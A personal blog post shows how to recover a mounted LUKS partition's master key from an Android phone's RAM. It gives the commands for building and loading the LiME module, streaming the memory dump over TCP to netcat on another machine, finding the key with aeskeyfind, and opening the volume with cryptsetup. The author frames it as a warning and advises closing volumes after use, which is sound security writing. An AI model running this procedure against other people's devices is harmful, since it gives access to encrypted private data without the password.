Cracking LUKS on Android Phones

LUKS is a standard disk encryption system for Linux that has recently been ported to the Android O/S. The goal of using LUKS is, of course, to have secure encryption of part of your filesystem on your phone. My point in writing this note is that, using a set of open-source tools, it is very easy to crack the supposedly-secure LUKS disk setup on your phone. If you've got the LUKS partition mounted, the key is in your phone's ram and can be copied easily! Nothing in this note is particularly new, but its the ease-of-use factor that spooked me and caused me to write. Be careful!

Required Open-Source Software

To make this work, you need three pieces of software. First, a version of cryptsetup that supports luksOpen via the --master-key-file switch. In the version from the ubuntu repositories that functionality is disabled. I needed to build it from source. Second, you need the LiME Kernel Module. This is used to dump your phone's ram to a file. Finally, you need the aeskeyfind utility from CITP at Princeton.

You will also need a couple of Android tools for cross-compiling - the SDK and NDK. These are freely downloadable from the Android Developer web site - no installation is necessary. Simply untar and you are ready to go.

The first thing you need to do is build the three packages. cryptsetup and aeskeyfind are straightforward. The familiar ./configure && make routine works for both of these. Building lime.ko for Android takes a bit of work and I'll outline that here.

Building the Module

First, download and extract the LiME source. The LiME documentation is straightforward, although there are some typos in the shell variable strings they have you set up. You need to build LiME against the kernel running on your phone. I had a problem here, because I am running a CM 7.2 ROM on my phone, and the .config file for the particular kernel used in that ROM was not available. As a result, I resorted to a hack that was pretty straightforward and should be applicable to just about any kernel version on any Android phone out there. If you already have the .config file for your phone, you are ahead of the game.

My phone (Droid 2 with CM 7.2 ROM) was running the kernel. So what I did was grab a copy of the closest kernel source I could find from the linux kernel archives. In my case it was After extracting the kernel tarball, I edited vermagic.h in linux- to reflect the VERMAGIC_STRING variable the kernel on my phone was expecting:

        " preempt mod_unload ARMv7 "

The closest kernel config file I could find after a bit of googling was sholes_defconfig. This is supposedly the kernel config for the Droid X, which is not too far from the Droid 2. I grabbed a copy of this config and renamed it .config in the linux- directory. Note that the config file you use is phone-dependent and you will need to select the correct one. Also, the closer you can get to the actual kernel version that your phone is running, the better off you will be. This method doesn't include any Android patches to the kernel source, so in principle could be problematic. However, it worked for me!

I then built the kernel with the following script (very similar to what is outlined in the LiME documentation) from the lime/src directory.


export NDK_PATH=/home/user/android-ndk-r8c/
export SDK_PATH=/home/user/android-sdk/linux/
export KSRC_PATH=/home/user/android/kernel/linux-
export CC_PATH=$NDK_PATH/toolchains/arm-linux-androideabi-4.4.3/prebuilt/linux-x86/bin/
export LIME_SRC=/home/user/LUKS/lime/src/

make ARCH=arm CROSS_COMPILE=$CC_PATH/arm-linux-androideabi- EXTRA_CFLAGS=-fno-pic modules_prepare

There are a couple of differences in the make line. Note the settings for the CROSS_COMPILE and EXTRA_CFLAGS environment variables.

I also edited the Makefile in the lime/src directory to reflect a few changes. The relevant part of my Makefile looks like this:

KDIR_DROID2 := /home/user/android/kernel/linux-

KVER := $(shell uname -r)

PWD := $(shell pwd)
CCPATH := /home/user/android-ndk-r8c/toolchains/arm-linux-androideabi-4.4.3/prebuilt/linux-x86/bin

        # cross-compile for Android emulator
        $(MAKE) EXTRA_CFLAGS=-fno-pic ARCH=arm CROSS_COMPILE=$(CCPATH)/arm-linux-androideabi- -C $(KDIR_DROID2) M=$(PWD) modules
        $(CCPATH)/arm-linux-androideabi-strip --strip-unneeded lime.ko
        mv lime.ko lime-droid2.ko

With these changes, just executing make in lime/src built the lime-droid2.ko module. I renamed it lime.ko and put it on the sdcard in my phone.

Dumping the RAM

Once I had the kernel module on my phone, I loaded it with the command:

 # insmod /sdcard/lime.ko "path=tcp:4444 format=raw"

This will dump the phone's ram to tcp port 4444. I then grabbed it on another machine with netcat:

 user@host:~/LUKS$ nc droid2.ip.address 4444 > droid2.raw

If you use adb, there are a few other things that you need to do - all clearly explained in the LiME documentation. Or, if you would rather dump it to the sdcard, change the path to something like /sdcard/droid2.raw and you are good to go.

Finding the Master Key File

Now that I had the memory dump on my desktop machine, I then used the aeskeyfind utility to search the dump file for any aes keys it contained. In verbose mode, the output looks like this:

user@host:~/LUKS$ ./aeskeyfind -v droid2.raw

KEY: 30e2b369b65d6d36413f81c78aca6381a97f7e8918482838b7b55fd86839b149



Keyfind progress: 100%

The aes key for my mounted LUKS partition is listed at the top of the aeskeyfile output.

Further, as if that's not enough, LUKS also stores the cipher and hash used, as well as the UUID of the disk partition in ram as well. Here's output from a hexedit of the ram dump:


To mount the drive on my desktop machine using the key found by aeskeyfind, I first had to convert it to binary:

 user@host:~/LUKS$ echo "30e2b369b65d6d36413f81c78aca6381a97f7e8918482838b7b55fd86839b149" | xxd -r -p > mkf.key

and then luksOpen the drive using my local version of cryptsetup:

 user@host:~/LUKS$ sudo ./cryptsetup luksOpen --master-key-file mkf.key /dev/loop1 droid2

Note here that my LUKS drive was a file that I had set up as the loop device /dev/loop1. The last step is to mount the drive normally:

 user@host:~/LUKS$ sudo mount /dev/mapper/droid2 /media/droid2

I now have full access to the drive without ever having had to know the encryption password.

The moral of this story? If you have a mounted LUKS partition on your phone, it is very easy for someone to get the master encryption key. cryptsetup does delete the key from ram during a luksClose operation, so my recommendation is to only mount your LUKS drive when you are using it and then unmount and luksClose it when you are done. Otherwise, it becomes a huge security hole. Almost like your drive wasn't encrypted in the first place.

Its probably appropriate to mention here that LUKS on Android isn't the only system susceptible to this kind of attack. Virtually all disk-encryption systems store the encryption key in ram. The Princeton CITP group identified this fact a long time ago. My point here is only that an attack like this is very easy to do!

Happy Androiding!

All code, text and images are Copyright © 2013-2017 by David R. Andersen. All rights reserved unless otherwise specified.
This site is produced using the Haggis static site generator.